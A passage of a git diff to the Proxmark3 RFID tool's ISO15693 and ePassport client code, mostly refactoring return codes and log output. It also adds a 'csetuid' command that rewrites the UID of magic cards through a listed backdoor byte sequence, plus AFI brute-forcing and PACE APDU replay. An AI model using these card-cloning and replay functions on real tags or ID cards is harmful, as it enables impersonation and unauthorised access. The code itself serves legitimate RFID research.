PrintAndLogEx(NORMAL, " - IC reference supported [0x%02X]", recv[14]); + PrintAndLogEx(SUCCESS, " - IC reference supported [0x%02X]", recv[14]); else - PrintAndLogEx(NORMAL, " - IC reference not supported"); + PrintAndLogEx(SUCCESS, " - IC reference not supported"); // memory if (recv[1] & 0x04) { - PrintAndLogEx(NORMAL, " - Tag provides info on memory layout (vendor dependent)"); + PrintAndLogEx(SUCCESS, " - Tag provides info on memory layout (vendor dependent)"); uint8_t blocks = recv[12] + 1; uint8_t size = (recv[13] & 0x1F); - PrintAndLogEx(NORMAL, " %u (or %u) bytes/blocks x %u blocks", size + 1, size, blocks); + PrintAndLogEx(SUCCESS, " %u (or %u) bytes/blocks x %u blocks", size + 1, size, blocks); } else { - PrintAndLogEx(NORMAL, " - Tag does not provide information on memory layout"); + PrintAndLogEx(SUCCESS, " - Tag does not provide information on memory layout"); } - PrintAndLogEx(NORMAL, "\n"); - return 0; + + // Check if SLIX2 and attempt to get NXP System Information + PrintAndLogEx(DEBUG, "4 & 08 :: %02x 7 == 1 :: %u 8 == 4 :: %u", recv[4], recv[7], recv[8]); + if (recv[8] == 0x04 && recv[7] == 0x01 && recv[4] & 0x80) { + return NxpSysInfo(uid); + } + + PrintAndLogEx(NORMAL, ""); + return PM3_SUCCESS; } -// Record Activity without enabeling carrier +// Record Activity without enabling carrier //helptext static int CmdHF15Record(const char *Cmd) { char cmdp = tolower(param_getchar(Cmd, 0)); if (cmdp == 'h') return usage_15_record(); clearCommandBuffer(); - SendCommandNG(CMD_RECORD_RAW_ADC_SAMPLES_ISO_15693, NULL, 0); - return 0; + SendCommandNG(CMD_HF_ISO15693_RAWADC, NULL, 0); + return PM3_SUCCESS; } static int CmdHF15Reader(const char *Cmd) { @@ -678,7 +988,7 @@ static int CmdHF15Reader(const char *Cmd) { if (cmdp == 'h') return usage_15_reader(); readHF15Uid(true); - return 0; + return PM3_SUCCESS; } // Simulation is still not working very good @@ -690,34 +1000,163 @@ static int CmdHF15Sim(const char *Cmd) { uint8_t uid[8] = {0, 0, 0, 0, 0, 0, 0, 0}; if (param_gethex(Cmd, 0, uid, 16)) { PrintAndLogEx(WARNING, "UID must include 16 HEX symbols"); - return 0; + return PM3_EINVARG; } - PrintAndLogEx(SUCCESS, "Starting simulating UID %s", sprint_hex(uid, sizeof(uid))); + PrintAndLogEx(SUCCESS, "Starting simulating UID " _YELLOW_("%s"), iso15693_sprintUID(NULL,uid)); clearCommandBuffer(); - SendCommandOLD(CMD_SIMTAG_ISO_15693, 0, 0, 0, uid, 8); - return 0; + SendCommandOLD(CMD_HF_ISO15693_SIMULATE, 0, 0, 0, uid, 8); + return PM3_SUCCESS; } -// finds the AFI (Application Family Idendifier) of a card, by trying all values -// (There is no standard way of reading the AFI, allthough some tags support this) +// finds the AFI (Application Family Identifier) of a card, by trying all values +// (There is no standard way of reading the AFI, although some tags support this) // helptext -static int CmdHF15Afi(const char *Cmd) { +static int CmdHF15FindAfi(const char *Cmd) { + PacketResponseNG resp; + uint32_t timeout = 0; + char cmdp = tolower(param_getchar(Cmd, 0)); if (cmdp == 'h') return usage_15_findafi(); PrintAndLogEx(SUCCESS, "press pm3-button to cancel"); clearCommandBuffer(); - SendCommandMIX(CMD_ISO_15693_FIND_AFI, strtol(Cmd, NULL, 0), 0, 0, NULL, 0); - return 0; + SendCommandMIX(CMD_HF_ISO15693_FINDAFI, strtol(Cmd, NULL, 0), 0, 0, NULL, 0); + + while (!WaitForResponseTimeout(CMD_ACK, &resp, 2000)) { + timeout++; + + // should be done in about 2 minutes + if (timeout > 180) { + PrintAndLogEx(WARNING, "\nNo response from Proxmark3. Aborting..."); + DropField(); + return PM3_ETIMEOUT; + } + } + + DropField(); + return resp.status; // PM3_EOPABORTED or PM3_SUCCESS } -typedef struct { - uint8_t lock; - uint8_t block[4]; -} t15memory; +// Writes the AFI (Application Family Identifier) of a card +static int CmdHF15WriteAfi(const char *Cmd) { + + char cmdp = param_getchar(Cmd, 0); + if (strlen(Cmd) < 3 || cmdp == 'h' || cmdp == 'H') return usage_15_writeafi(); + + PacketResponseNG resp; + uint8_t *recv; + + // arg: len, speed, recv? + // arg0 (datalen, cmd len? .arg0 == crc?) + // arg1 (speed == 0 == 1 of 256, == 1 == 1 of 4 ) + // arg2 (recv == 1 == expect a response) + uint8_t req[PM3_CMD_DATA_SIZE] = {0}; + uint16_t reqlen = 0; + uint8_t arg1 = 1; + int afinum; + char cmdbuf[100] = {0}; + char *cmd = cmdbuf; + strncpy(cmd, Cmd, sizeof(cmdbuf) - 1); + + if (!prepareHF15Cmd(&cmd, &reqlen, &arg1, req, ISO15_CMD_WRITEAFI)) + return PM3_SUCCESS; + + req[0] |= ISO15_REQ_OPTION; // Since we are writing + + afinum = strtol(cmd, NULL, 0); + + req[reqlen++] = (uint8_t)afinum; + + AddCrc15(req, reqlen); + reqlen += 2; + + // PrintAndLogEx(NORMAL, "cmd %s", sprint_hex(req, reqlen) ); + + clearCommandBuffer(); + SendCommandOLD(CMD_HF_ISO15693_COMMAND, reqlen, arg1, 1, req, reqlen); + + if (!WaitForResponseTimeout(CMD_ACK, &resp, 2000)) { + PrintAndLogEx(ERR, "iso15693 card select failed"); + DropField(); + return PM3_ETIMEOUT; + } + + DropField(); + + recv = resp.data.asBytes; + + if (recv[0] & ISO15_RES_ERROR) { + PrintAndLogEx(ERR, "iso15693 card returned error %i: %s", recv[0], TagErrorStr(recv[0])); + return PM3_EWRONGANSVER; + } + + PrintAndLogEx(NORMAL, ""); + PrintAndLogEx(SUCCESS, "Wrote AFI 0x%02X", afinum); + + return PM3_SUCCESS; +} + +// Writes the DSFID (Data Storage Format Identifier) of a card +static int CmdHF15WriteDsfid(const char *Cmd) { + + char cmdp = param_getchar(Cmd, 0); + if (strlen(Cmd) < 3 || cmdp == 'h' || cmdp == 'H') return usage_15_writedsfid(); + + PacketResponseNG resp; + uint8_t *recv; + + // arg: len, speed, recv? + // arg0 (datalen, cmd len? .arg0 == crc?) + // arg1 (speed == 0 == 1 of 256, == 1 == 1 of 4 ) + // arg2 (recv == 1 == expect a response) + uint8_t req[PM3_CMD_DATA_SIZE] = {0}; + uint16_t reqlen = 0; + uint8_t arg1 = 1; + int dsfidnum; + char cmdbuf[100] = {0}; + char *cmd = cmdbuf; + strncpy(cmd, Cmd, sizeof(cmdbuf) - 1); + + if (!prepareHF15Cmd(&cmd, &reqlen, &arg1, req, ISO15_CMD_WRITEDSFID)) + return PM3_SUCCESS; + + req[0] |= ISO15_REQ_OPTION; // Since we are writing + + dsfidnum = strtol(cmd, NULL, 0); + + req[reqlen++] = (uint8_t)dsfidnum; + + AddCrc15(req, reqlen); + reqlen += 2; + + // PrintAndLogEx(NORMAL, "cmd %s", sprint_hex(req, reqlen) ); + + clearCommandBuffer(); + SendCommandOLD(CMD_HF_ISO15693_COMMAND, reqlen, arg1, 1, req, reqlen); + + if (!WaitForResponseTimeout(CMD_ACK, &resp, 2000)) { + PrintAndLogEx(ERR, "iso15693 card select failed"); + DropField(); + return PM3_ETIMEOUT; + } + + DropField(); + + recv = resp.data.asBytes; + + if (recv[0] & ISO15_RES_ERROR) { + PrintAndLogEx(ERR, "iso15693 card returned error %i: %s", recv[0], TagErrorStr(recv[0])); + return PM3_EWRONGANSVER; + } + + PrintAndLogEx(NORMAL, ""); + PrintAndLogEx(SUCCESS, "Wrote DSFID 0x%02X", dsfidnum); + + return PM3_SUCCESS; +} // Reads all memory pages // need to write to file @@ -750,7 +1189,7 @@ static int CmdHF15Dump(const char *Cmd) { if (!getUID(uid)) { PrintAndLogEx(WARNING, "No tag found."); - return 1; + return PM3_ESOFT; } if (fileNameLen < 1) { @@ -762,13 +1201,13 @@ static int CmdHF15Dump(const char *Cmd) { } // detect blocksize from card :) - PrintAndLogEx(NORMAL, "Reading memory from tag UID " _YELLOW_("%s"), sprintUID(NULL, uid)); + PrintAndLogEx(SUCCESS, "Reading memory from tag UID " _YELLOW_("%s"), iso15693_sprintUID(NULL,uid)); int blocknum = 0; uint8_t *recv = NULL; // memory. - t15memory mem[256]; + t15memory_t mem[256]; uint8_t data[256 * 4] = {0}; memset(data, 0, sizeof(data)); @@ -787,7 +1226,7 @@ static int CmdHF15Dump(const char *Cmd) { AddCrc15(req, 11); clearCommandBuffer(); - SendCommandOLD(CMD_ISO_15693_COMMAND, sizeof(req), 1, 1, req, sizeof(req)); + SendCommandOLD(CMD_HF_ISO15693_COMMAND, sizeof(req), 1, 1, req, sizeof(req)); if (WaitForResponseTimeout(CMD_ACK, &resp, 2000)) { @@ -820,8 +1259,10 @@ static int CmdHF15Dump(const char *Cmd) { fflush(stdout); } } - PrintAndLogEx(NORMAL, "\n"); + DropField(); + + PrintAndLogEx(NORMAL, ""); PrintAndLogEx(NORMAL, "block# | data |lck| ascii"); PrintAndLogEx(NORMAL, "---------+--------------+---+----------"); for (int i = 0; i < blocknum; i++) { @@ -830,18 +1271,27 @@ static int CmdHF15Dump(const char *Cmd) { PrintAndLogEx(NORMAL, "\n"); size_t datalen = blocknum * 4; + saveFile(filename, ".bin", data, datalen); saveFileEML(filename, data, datalen, 4); - saveFile(filename, ".bin", data, datalen); - return 0; + saveFileJSON(filename, jsf15, data, datalen); + return PM3_SUCCESS; } static int CmdHF15List(const char *Cmd) { (void)Cmd; // Cmd is not used so far - //PrintAndLogEx(WARNING, "Deprecated command, use 'hf list 15' instead"); CmdTraceList("15"); - return 0; + return PM3_SUCCESS; } +/* +// Record Activity without enabling carrier +static int CmdHF15Sniff(const char *Cmd) { + clearCommandBuffer(); + SendCommandNG(CMD_HF_ISO15693_SNIFF, NULL, 0); + return PM3_SUCCESS; +} +*/ + static int CmdHF15Raw(const char *Cmd) { char cmdp = param_getchar(Cmd, 0); @@ -849,7 +1299,7 @@ static int CmdHF15Raw(const char *Cmd) { PacketResponseNG resp; int reply = 1, fast = 1, i = 0; - bool crc = false; + bool crc = false, leaveSignalON = false; char buf[5] = ""; uint8_t data[100]; uint32_t datalen = 0, temp; @@ -872,9 +1322,13 @@ static int CmdHF15Raw(const char *Cmd) { case 'C': crc = true; break; + case 'p': + case 'P': + leaveSignalON = true; + break; default: PrintAndLogEx(WARNING, "Invalid option"); - return 0; + return PM3_EINVARG; } i += 2; continue; @@ -895,7 +1349,7 @@ static int CmdHF15Raw(const char *Cmd) { continue; } PrintAndLogEx(WARNING, "Invalid char on input"); - return 0; + return PM3_EINVARG; } if (crc) { @@ -904,18 +1358,22 @@ static int CmdHF15Raw(const char *Cmd) { } clearCommandBuffer(); - SendCommandOLD(CMD_ISO_15693_COMMAND, datalen, fast, reply, data, datalen); + SendCommandOLD(CMD_HF_ISO15693_COMMAND, datalen, fast, reply, data, datalen); if (reply) { if (WaitForResponseTimeout(CMD_ACK, &resp, 2000)) { uint8_t len = resp.oldarg[0]; - PrintAndLogEx(NORMAL, "received %i octets", len); - PrintAndLogEx(NORMAL, "%s", sprint_hex(resp.data.asBytes, len)); + PrintAndLogEx(INFO, "received %i octets", len); + PrintAndLogEx(SUCCESS, "%s", sprint_hex(resp.data.asBytes, len)); } else { PrintAndLogEx(WARNING, "timeout while waiting for reply."); } } - return 0; + + if (!leaveSignalON) + DropField(); + + return PM3_SUCCESS; } /** @@ -938,7 +1396,7 @@ static int CmdHF15Readmulti(const char *Cmd) { strncpy(cmd, Cmd, sizeof(cmdbuf) - 1); if (!prepareHF15Cmd(&cmd, &reqlen, &arg1, req, ISO15_CMD_READMULTI)) - return 0; + return PM3_SUCCESS; // add OPTION flag, in order to get lock-info req[0] |= ISO15_REQ_OPTION; @@ -947,7 +1405,7 @@ static int CmdHF15Readmulti(const char *Cmd) { pagenum = param_get8ex(cmd, 0, 0, 10); pagecount = param_get8ex(cmd, 1, 0, 10); - //PrintAndLogEx(NORMAL, "ice %d %d\n", pagenum, pagecount); + // PrintAndLogEx(NORMAL, "ice %d %d\n", pagenum, pagecount); // 0 means 1 page, // 1 means 2 pages, ... @@ -959,32 +1417,36 @@ static int CmdHF15Readmulti(const char *Cmd) { reqlen += 2; clearCommandBuffer(); - SendCommandOLD(CMD_ISO_15693_COMMAND, reqlen, arg1, 1, req, reqlen); + SendCommandOLD(CMD_HF_ISO15693_COMMAND, reqlen, arg1, 1, req, reqlen); if (!WaitForResponseTimeout(CMD_ACK, &resp, 2000)) { PrintAndLogEx(FAILED, "iso15693 card select failed"); - return 1; + DropField(); + return PM3_ETIMEOUT; } + DropField(); + uint32_t status = resp.oldarg[0]; if (status < 2) { PrintAndLogEx(FAILED, "iso15693 card select failed"); - return 1; + return PM3_EWRONGANSVER; } recv = resp.data.asBytes; if (!CheckCrc15(recv, status)) { PrintAndLogEx(FAILED, "CRC failed"); - return 2; + return PM3_ESOFT; } if (recv[0] & ISO15_RES_ERROR) { PrintAndLogEx(FAILED, "iso15693 card returned error %i: %s", recv[0], TagErrorStr(recv[0])); - return 3; + return PM3_EWRONGANSVER; } - int start = 1; // skip status byte + // skip status byte + int start = 1; int stop = (pagecount + 1) * 5; int currblock = pagenum; // print response @@ -996,7 +1458,7 @@ static int CmdHF15Readmulti(const char *Cmd) { currblock++; } - return 0; + return PM3_SUCCESS; } /** @@ -1024,7 +1486,7 @@ static int CmdHF15Read(const char *Cmd) { strncpy(cmd, Cmd, sizeof(cmdbuf) - 1); if (!prepareHF15Cmd(&cmd, &reqlen, &arg1, req, ISO15_CMD_READ)) - return 0; + return PM3_SUCCESS; // add OPTION flag, in order to get lock-info req[0] |= ISO15_REQ_OPTION; @@ -1037,29 +1499,32 @@ static int CmdHF15Read(const char *Cmd) { reqlen += 2; clearCommandBuffer(); - SendCommandOLD(CMD_ISO_15693_COMMAND, reqlen, arg1, 1, req, reqlen); + SendCommandOLD(CMD_HF_ISO15693_COMMAND, reqlen, arg1, 1, req, reqlen); if (!WaitForResponseTimeout(CMD_ACK, &resp, 2000)) { - PrintAndLogEx(NORMAL, "iso15693 card select failed"); - return 1; + PrintAndLogEx(ERR, "iso15693 card select failed"); + DropField(); + return PM3_ETIMEOUT; } + DropField(); + uint32_t status = resp.oldarg[0]; if (status < 2) { - PrintAndLogEx(NORMAL, "iso15693 card select failed"); - return 1; + PrintAndLogEx(ERR, "iso15693 card select failed"); + return PM3_EWRONGANSVER; } recv = resp.data.asBytes; if (!CheckCrc15(recv, status)) { - PrintAndLogEx(NORMAL, "CRC failed"); - return 2; + PrintAndLogEx(ERR, "CRC failed"); + return PM3_ESOFT; } if (recv[0] & ISO15_RES_ERROR) { - PrintAndLogEx(WARNING, "iso15693 card returned error %i: %s", recv[0], TagErrorStr(recv[0])); - return 3; + PrintAndLogEx(ERR, "iso15693 card returned error %i: %s", recv[0], TagErrorStr(recv[0])); + return PM3_EWRONGANSVER; } // print response @@ -1068,7 +1533,7 @@ static int CmdHF15Read(const char *Cmd) { PrintAndLogEx(NORMAL, "------------+---+------"); PrintAndLogEx(NORMAL, "%s| %d | %s", sprint_hex(recv + 2, status - 4), recv[1], sprint_ascii(recv + 2, status - 4)); PrintAndLogEx(NORMAL, ""); - return 0; + return PM3_SUCCESS; } /** @@ -1093,7 +1558,7 @@ static int CmdHF15Write(const char *Cmd) { strncpy(cmd, Cmd, sizeof(cmdbuf) - 1); if (!prepareHF15Cmd(&cmd, &reqlen, &arg1, req, ISO15_CMD_WRITE)) - return 0; + return PM3_SUCCESS; // *cmd -> page num ; *cmd2 -> data cmd2 = cmd; @@ -1117,36 +1582,39 @@ static int CmdHF15Write(const char *Cmd) { AddCrc15(req, reqlen); reqlen += 2; - PrintAndLogEx(NORMAL, "iso15693 writing to page %02d (0x%02X) | data ", pagenum, pagenum); + PrintAndLogEx(INFO, "iso15693 writing to page %02d (0x%02X) | data ", pagenum, pagenum); clearCommandBuffer(); - SendCommandOLD(CMD_ISO_15693_COMMAND, reqlen, arg1, 1, req, reqlen); + SendCommandOLD(CMD_HF_ISO15693_COMMAND, reqlen, arg1, 1, req, reqlen); if (!WaitForResponseTimeout(CMD_ACK, &resp, 2000)) { PrintAndLogEx(FAILED, "iso15693 card timeout, data may be written anyway"); - return 1; + DropField(); + return PM3_ETIMEOUT; } + DropField(); + uint32_t status = resp.oldarg[0]; if (status < 2) { PrintAndLogEx(FAILED, "iso15693 card select failed"); - return 1; + return PM3_EWRONGANSVER; } recv = resp.data.asBytes; if (!CheckCrc15(recv, status)) { PrintAndLogEx(FAILED, "CRC failed"); - return 2; + return PM3_ESOFT; } if (recv[0] & ISO15_RES_ERROR) { - PrintAndLogEx(NORMAL, "iso15693 card returned error %i: %s", recv[0], TagErrorStr(recv[0])); - return 3; + PrintAndLogEx(ERR, "iso15693 card returned error %i: %s", recv[0], TagErrorStr(recv[0])); + return PM3_EWRONGANSVER; } PrintAndLogEx(NORMAL, "OK"); - return 0; + return PM3_SUCCESS; } static int CmdHF15Restore(const char *Cmd) { @@ -1193,7 +1661,7 @@ static int CmdHF15Restore(const char *Cmd) { case 'u': param_getstr(Cmd, cmdp + 1, buff, FILE_PATH_SIZE); cmdp++; - snprintf(filename, sizeof(filename), "hf-15-dump-%s-bin", buff); + snprintf(filename, sizeof(filename), "hf-15-%s-dump.bin", buff); break; case 'h': return usage_15_restore(); @@ -1204,7 +1672,7 @@ static int CmdHF15Restore(const char *Cmd) { cmdp++; } - PrintAndLogEx(INFO, "Blocksize: %u", blocksize); + PrintAndLogEx(INFO, "Blocksize: %zu", blocksize); if (!strlen(filename)) { PrintAndLogEx(WARNING, "Please provide a filename"); @@ -1212,14 +1680,15 @@ static int CmdHF15Restore(const char *Cmd) { } if ((f = fopen(filename, "rb")) == NULL) { + PrintAndLogEx(WARNING, "Could not find file %s", filename); - return 2; + return PM3_EFILE; } if (!getUID(uid)) { PrintAndLogEx(WARNING, "No tag found"); fclose(f); - return 3; + return PM3_ESOFT; } PrintAndLogEx(INFO, "Restoring data blocks."); @@ -1233,11 +1702,11 @@ static int CmdHF15Restore(const char *Cmd) { if (bytes_read == 0) { PrintAndLogEx(SUCCESS, "File reading done `%s`", filename); fclose(f); - return 0; + return PM3_SUCCESS; } else if (bytes_read != blocksize) { - PrintAndLogEx(WARNING, "File reading error (%s), %u bytes read instead of %u bytes.", filename, bytes_read, blocksize); + PrintAndLogEx(ERR, "File reading error (%s), %zu bytes read instead of %zu bytes.", filename, bytes_read, blocksize); fclose(f); - return 2; + return PM3_EFILE; } for (int j = 0; j < blocksize; j++) @@ -1266,32 +1735,139 @@ static int CmdHF15Restore(const char *Cmd) { } fclose(f); PrintAndLogEx(INFO, "Finish restore"); - return 0; + return PM3_SUCCESS; +} + +/** + * Commandline handling: HF15 CMD CSETUID + * Set UID for magic Chinese card + */ +static int CmdHF15CSetUID(const char *Cmd) { + uint8_t uid[8] = {0x00}; + uint8_t oldUid[8], newUid[8] = {0x00}; + PacketResponseNG resp; + int reply = 1, fast = 0; + uint8_t data[4][9] = {{0x00}}; + + char cmdp = tolower(param_getchar(Cmd, 0)); + if (strlen(Cmd) < 1 || cmdp == 'h') return usage_15_csetuid(); + + if (param_gethex(Cmd, 0, uid, 16)) { + PrintAndLogEx(WARNING, "UID must include 16 HEX symbols"); + return PM3_EINVARG; + } + + if (uid[0] != 0xe0) { + PrintAndLogEx(WARNING, "UID must begin with the byte " _YELLOW_("E0")); + return PM3_EINVARG; + } + + PrintAndLogEx(SUCCESS, "Input new UID | " _YELLOW_("%s"), iso15693_sprintUID(NULL,uid)); + + if (!getUID(oldUid)) { + PrintAndLogEx(FAILED, "Can't get old/current UID."); + return PM3_ESOFT; + } + + PrintAndLogEx(INFO, "Using backdoor magic tag function"); + + // Command 1 : 02213E00000000 + data[0][0] = 0x02; + data[0][1] = 0x21; + data[0][2] = 0x3e; + data[0][3] = 0x00; + data[0][4] = 0x00; + data[0][5] = 0x00; + data[0][6] = 0x00; + + // Command 2 : 02213F69960000 + data[1][0] = 0x02; + data[1][1] = 0x21; + data[1][2] = 0x3f; + data[1][3] = 0x69; + data[1][4] = 0x96; + data[1][5] = 0x00; + data[1][6] = 0x00; + + // Command 3 : 022138u8u7u6u5 (where uX = uid byte X) + data[2][0] = 0x02; + data[2][1] = 0x21; + data[2][2] = 0x38; + data[2][3] = uid[7]; + data[2][4] = uid[6]; + data[2][5] = uid[5]; + data[2][6] = uid[4]; + + // Command 4 : 022139u4u3u2u1 (where uX = uid byte X) + data[3][0] = 0x02; + data[3][1] = 0x21; + data[3][2] = 0x39; + data[3][3] = uid[3]; + data[3][4] = uid[2]; + data[3][5] = uid[1]; + data[3][6] = uid[0]; + + for (int i = 0; i < 4; i++) { + AddCrc15(data[i], 7); + + clearCommandBuffer(); + SendCommandOLD(CMD_HF_ISO15693_COMMAND, sizeof(data[i]), fast, reply, data[i], sizeof(data[i])); + + if (reply) { + if (WaitForResponseTimeout(CMD_ACK, &resp, 2000)) { + uint8_t len = resp.oldarg[0]; + PrintAndLogEx(INFO, "received %i octets", len); + PrintAndLogEx(INFO, "%s", sprint_hex(resp.data.asBytes, len)); + } else { + PrintAndLogEx(WARNING, "timeout while waiting for reply."); + } + } + } + + if (!getUID(newUid)) { + PrintAndLogEx(FAILED, "Can't get new UID."); + return PM3_ESOFT; + } + + if (memcmp(newUid, uid, 8) != 0) { + PrintAndLogEx(FAILED, "Setting UID on tag failed."); + return PM3_ESOFT; + } else { + PrintAndLogEx(SUCCESS, "Old: %s", iso15693_sprintUID(NULL, oldUid)); + PrintAndLogEx(SUCCESS, "New: " _GREEN_("%s"), iso15693_sprintUID(NULL, newUid)); + return PM3_SUCCESS; + } } static command_t CommandTable[] = { {"help", CmdHF15Help, AlwaysAvailable, "This help"}, + {"list", CmdHF15List, AlwaysAvailable, "List ISO15693 history"}, {"demod", CmdHF15Demod, AlwaysAvailable, "Demodulate ISO15693 from tag"}, {"dump", CmdHF15Dump, IfPm3Iso15693, "Read all memory pages of an ISO15693 tag, save to file"}, - {"findafi", CmdHF15Afi, IfPm3Iso15693, "Brute force AFI of an ISO15693 tag"}, {"info", CmdHF15Info, IfPm3Iso15693, "Tag information"}, - {"list", CmdHF15List, AlwaysAvailable, "List ISO15693 history"}, +// {"sniff", CmdHF15Sniff, IfPm3Iso15693, "Sniff ISO15693 traffic"}, {"raw", CmdHF15Raw, IfPm3Iso15693, "Send raw hex data to tag"}, - {"reader", CmdHF15Reader, IfPm3Iso15693, "Act like an ISO15693 reader"}, {"record", CmdHF15Record, IfPm3Iso15693, "Record Samples (ISO15693)"}, - {"restore", CmdHF15Restore, IfPm3Iso15693, "Restore from file to all memory pages of an ISO15693 tag"}, - {"sim", CmdHF15Sim, IfPm3Iso15693, "Fake an ISO15693 tag"}, - {"samples", CmdHF15Samples, IfPm3Iso15693, "Acquire Samples as Reader (enables carrier, sends inquiry)"}, {"read", CmdHF15Read, IfPm3Iso15693, "Read a block"}, - {"write", CmdHF15Write, IfPm3Iso15693, "Write a block"}, + {"reader", CmdHF15Reader, IfPm3Iso15693, "Act like an ISO15693 reader"}, {"readmulti", CmdHF15Readmulti, IfPm3Iso15693, "Reads multiple Blocks"}, + {"restore", CmdHF15Restore, IfPm3Iso15693, "Restore from file to all memory pages of an ISO15693 tag"}, + {"samples", CmdHF15Samples, IfPm3Iso15693, "Acquire Samples as Reader (enables carrier, sends inquiry)"}, + {"sim", CmdHF15Sim, IfPm3Iso15693, "Fake an ISO15693 tag"}, + {"write", CmdHF15Write, IfPm3Iso15693, "Write a block"}, + {"-----------", CmdHF15Help, IfPm3Iso15693, ""}, + {"findafi", CmdHF15FindAfi, IfPm3Iso15693, "Brute force AFI of an ISO15693 tag"}, + {"writeafi", CmdHF15WriteAfi, IfPm3Iso15693, "Writes the AFI on an ISO15693 tag"}, + {"writedsfid", CmdHF15WriteDsfid, IfPm3Iso15693, "Writes the DSFID on an ISO15693 tag"}, + {"-----------", CmdHF15Help, IfPm3Iso15693, ""}, + {"csetuid", CmdHF15CSetUID, IfPm3Iso15693, "Set UID for magic Chinese card"}, {NULL, NULL, NULL, NULL} }; static int CmdHF15Help(const char *Cmd) { (void)Cmd; // Cmd is not used so far CmdsHelp(CommandTable); - return 0; + return PM3_SUCCESS; } int CmdHF15(const char *Cmd) { @@ -1300,14 +1876,14 @@ int CmdHF15(const char *Cmd) { } // used with 'hf search' -int readHF15Uid(bool verbose) { - uint8_t uid[8] = {0, 0, 0, 0, 0, 0, 0, 0}; +bool readHF15Uid(bool verbose) { + uint8_t uid[8] = {0}; if (!getUID(uid)) { if (verbose) PrintAndLogEx(WARNING, "No tag found."); - return 0; + return false; } - - PrintAndLogEx(NORMAL, " UID : %s", sprintUID(NULL, uid)); - PrintAndLogEx(NORMAL, " TYPE : %s", getTagInfo_15(uid)); - return 1; + PrintAndLogEx(NORMAL, ""); + PrintAndLogEx(SUCCESS, " UID: " _GREEN_("%s"), iso15693_sprintUID(NULL, uid)); + PrintAndLogEx(SUCCESS, "TYPE: " _YELLOW_("%s"), getTagInfo_15(uid)); + return true; } diff --git a/client/cmdhf15.h b/client/cmdhf15.h index 049e9f68f..81530a58c 100644 --- a/client/cmdhf15.h +++ b/client/cmdhf15.h @@ -11,23 +11,10 @@ #ifndef CMDHF15_H__ #define CMDHF15_H__ -#include -#include -#include -#include - -#include "proxmark3.h" -#include "graph.h" -#include "ui.h" -#include "util.h" -#include "cmdparser.h" -#include "crc16.h" // iso15 crc -#include "cmdmain.h" -#include "cmddata.h" // getsamples -#include "loclass/fileutils.h" // savefileEML +#include "common.h" int CmdHF15(const char *Cmd); -int readHF15Uid(bool verbose); +bool readHF15Uid(bool verbose); #endif diff --git a/client/cmdhfepa.c b/client/cmdhfepa.c index 9aeaabefd..e83ee39bf 100644 --- a/client/cmdhfepa.c +++ b/client/cmdhfepa.c @@ -9,6 +9,18 @@ //----------------------------------------------------------------------------- #include "cmdhfepa.h" +#include +#include +#include +#include +#include + +#include "cmdparser.h" // command_t +#include "commonutil.h" // ARRAYLEN +#include "comms.h" // clearCommandBuffer +#include "ui.h" +#include "util_posix.h" + static int CmdHelp(const char *Cmd); // Perform (part of) the PACE protocol @@ -26,19 +38,19 @@ static int CmdHFEPACollectPACENonces(const char *Cmd) { m = m > 0 ? m : 1; n = n > 0 ? n : 1; - PrintAndLogEx(NORMAL, "Collecting %u %u byte nonces", n, m); - PrintAndLogEx(NORMAL, "Start: %" PRIu64, msclock() / 1000); + PrintAndLogEx(SUCCESS, "Collecting %u %u byte nonces", n, m); + PrintAndLogEx(SUCCESS, "Start: %" PRIu64, msclock() / 1000); // repeat n times for (uint32_t i = 0; i < n; i++) { // execute PACE clearCommandBuffer(); - SendCommandMIX(CMD_EPA_PACE_COLLECT_NONCE, (int)m, 0, 0, NULL, 0); + SendCommandMIX(CMD_HF_EPA_COLLECT_NONCE, (int)m, 0, 0, NULL, 0); PacketResponseNG resp; WaitForResponse(CMD_ACK, &resp); // check if command failed if (resp.oldarg[0] != 0) { - PrintAndLogEx(FAILED, "Error in step %d, Return code: %d", resp.oldarg[0], (int)resp.oldarg[1]); + PrintAndLogEx(FAILED, "Error in step %" PRId64 ", Return code: %" PRId64, resp.oldarg[0], resp.oldarg[1]); } else { size_t nonce_length = resp.oldarg[1]; char *nonce = (char *) calloc(2 * nonce_length + 1, sizeof(uint8_t)); @@ -46,15 +58,15 @@ static int CmdHFEPACollectPACENonces(const char *Cmd) { sprintf(nonce + (2 * j), "%02X", resp.data.asBytes[j]); } // print nonce - PrintAndLogEx(NORMAL, "Length: %d, Nonce: %s", nonce_length, nonce); + PrintAndLogEx(SUCCESS, "Length: %zu, Nonce: %s", nonce_length, nonce); free(nonce); } if (i < n - 1) { sleep(d); } } - PrintAndLogEx(NORMAL, "End: %" PRIu64, msclock() / 1000); - return 1; + PrintAndLogEx(SUCCESS, "End: %" PRIu64, msclock() / 1000); + return PM3_SUCCESS; } // perform the PACE protocol by replaying APDUs @@ -75,7 +87,7 @@ static int CmdHFEPAPACEReplay(const char *Cmd) { int skip = 0, skip_add = 0, scan_return; // for each APDU - for (int i = 0; i < sizeof(apdu_lengths); i++) { + for (int i = 0; i < ARRAYLEN(apdu_lengths); i++) { // scan to next space or end of string while (Cmd[skip] != ' ' && Cmd[skip] != '\0') { // convert @@ -86,9 +98,9 @@ static int CmdHFEPAPACEReplay(const char *Cmd) { ); if (scan_return < 1) { - PrintAndLogEx(NORMAL, (char *)usage_msg); + PrintAndLogEx(INFO, (char *)usage_msg); PrintAndLogEx(WARNING, "Not enough APDUs! Try again!"); - return 0; + return PM3_SUCCESS; } skip += skip_add; apdu_lengths[i]++; @@ -96,10 +108,10 @@ static int CmdHFEPAPACEReplay(const char *Cmd) { // break on EOF if (Cmd[skip] == '\0') { - if (i < sizeof(apdu_lengths) - 1) { + if (i < ARRAYLEN(apdu_lengths) - 1) { - PrintAndLogEx(NORMAL, (char *)usage_msg); - return 0; + PrintAndLogEx(INFO, (char *)usage_msg); + return PM3_SUCCESS; } break; } @@ -111,7 +123,7 @@ static int CmdHFEPAPACEReplay(const char *Cmd) { uint8_t data[PM3_CMD_DATA_SIZE]; // fast push mode conn.block_after_ACK = true; - for (int i = 0; i < sizeof(apdu_lengths); i++) { + for (int i = 0; i < ARRAYLEN(apdu_lengths); i++) { // transfer the APDU in several parts if necessary for (int j = 0; j * sizeof(data) < apdu_lengths[i]; j++) { // amount of data in this packet @@ -119,7 +131,7 @@ static int CmdHFEPAPACEReplay(const char *Cmd) { if (packet_length > sizeof(data)) { packet_length = sizeof(data); } - if ((i == sizeof(apdu_lengths) - 1) && (j * sizeof(data) >= apdu_lengths[i] - 1)) { + if ((i == ARRAYLEN(apdu_lengths) - 1) && (j * sizeof(data) >= apdu_lengths[i] - 1)) { // Disable fast mode on last packet conn.block_after_ACK = false; } @@ -130,36 +142,36 @@ static int 